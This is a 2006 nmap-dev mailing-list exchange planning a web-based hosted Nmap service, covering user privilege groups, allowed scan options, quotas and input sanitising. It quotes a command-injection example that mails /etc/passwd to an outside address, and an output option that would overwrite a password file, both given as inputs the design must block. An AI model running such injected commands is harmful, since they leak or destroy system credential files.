Re: Draft for hosted cgi

[Fyodor <fyodor () insecure org>]

On Wed, May 24, 2006 at 12:24:54PM +0200, Julien Delange wrote:
> I'm Julien, the student, and I will work for nmap hosted cgi during the
> summer of code. I put on this mail first ideas to have feedbacks  about
> them.

Hi Julien.  This looks like good stuff.  Here are my comments:

> - The separation between daemon and cgi is very important, because run nmap
> through Apache is a __very__ bad idea (it means you have nmap suid or you
> have to run apache as root, ...)

I'm in 100% agreement with you there.

> - There will be several user-levels. For example, level 1 allow some basics
> scan-request, and level 2 allow you to enter your own options

Level numbers are nice in that they are simple to use, but they aren't
very flexible.  You might want to give someone, say, the ability to do
version detection (which is pretty intrusive), but not want them to
have access to something else which is at the same or lower level
(like "scan any IP range").  So instead, I think we should be able to
put people in groups, such as "trusted user", "free user", "network
administrator", etc.  Those groups will be devined by the
administrator who runs the software.  They could define it in the web
application itself with an administrative interface, or by editing a
configuration file.  An administrative web interface would probably be nicer,
though the config file is probably easier to implement.  We could ship
it with some defined example groups that users could modify or
replace.

For each defined group, you should be able to specify privileges and
limitations.  Creating the list of privileges is an important task itself,
but examples might be:

o Allow version detection (-sV)
o Allow basic port scan types (-sS, -sU, -sA, -sF, -sX, -sN, ...)
  o Allow port number specification
o Allow OS detection (-O)
o Allow aggressive timing options (-T5, --max-rtt-timeout,
  --min-parallelism, etc.) [ Even without this, you can let them choose
  from some "safe" options, like -T0 through -T4, or options that only
  slow Nmap like --min-rtt-timeout and --max-parallelism).

o Allow raw Nmap commands (with some sanity checking -- we shouldn't
  allow -oN /etc/paswd for example; and obviously we need to be
  careful of shell meta-characters and the like.  we may decide this
  option is too much of a pain to even offer, though I think it would
  be quite useful).  Only the most trusted users would have this
  ability in any case.  But if we can support this, it would be
  valuable.
o Max # of unique IPs to scan per month
o Max # of total IPs to scan per month
o Limit scans to a certain CIDR range (or a subset of that).

When someone signs up, they are assigned to a privilege group.  Then
the interface won't show them options they aren't allowed to use (or
those options are grayed out).

Note that we don't need to support every Nmap option for this webapp.
If someone wants to do an Idle scan, for example, let them ssh in and
do it or type in the command line if we offer that.  Thinks like -S
and -D are probably the same.

> - The admin can see statistics to detect who makes scans, and what are the
> scanned hosts
> - User can schedule scans, and make periodically scans (a scan every
> hour/day). He should request a scan "at once" too.
> - You will make a diff between two scans
> - Results : you can get them in a mail, you can download it as a XML file,
> you can see it as a HTML page
> - The web-content must be w3c valid

All good!

> - Users can annotate their scans and it reports should be available as PDF
> documents

Sounds great, but let's make that one optional so we don't risk the
schedule.  But you might want to plan your DB schema and such with
that potential enhancement in mind.

> All detailed ideas are in the file[2]. There is others features, but there
> are very basics (user registration, ...).

I'll take a look at that file and respond in a separate email.

> About the used language, I think to Perl. In fact, it's a very good language
> to treat strings and it will be easy to detect bad commands (like nmap
> myhost ; mail jean@kevin < /etc/passwd). Moreover, Perl has many modules
> that helps CGI development (HTML::Template, Email::Valid, ...).

Sounds good.  Can you use Taint mode with that?  I think we should use
-T as well as -w if we can.

Cheers,
-F


_______________________________________________
Sent through the nmap-dev mailing list
http://cgi.insecure.org/mailman/listinfo/nmap-dev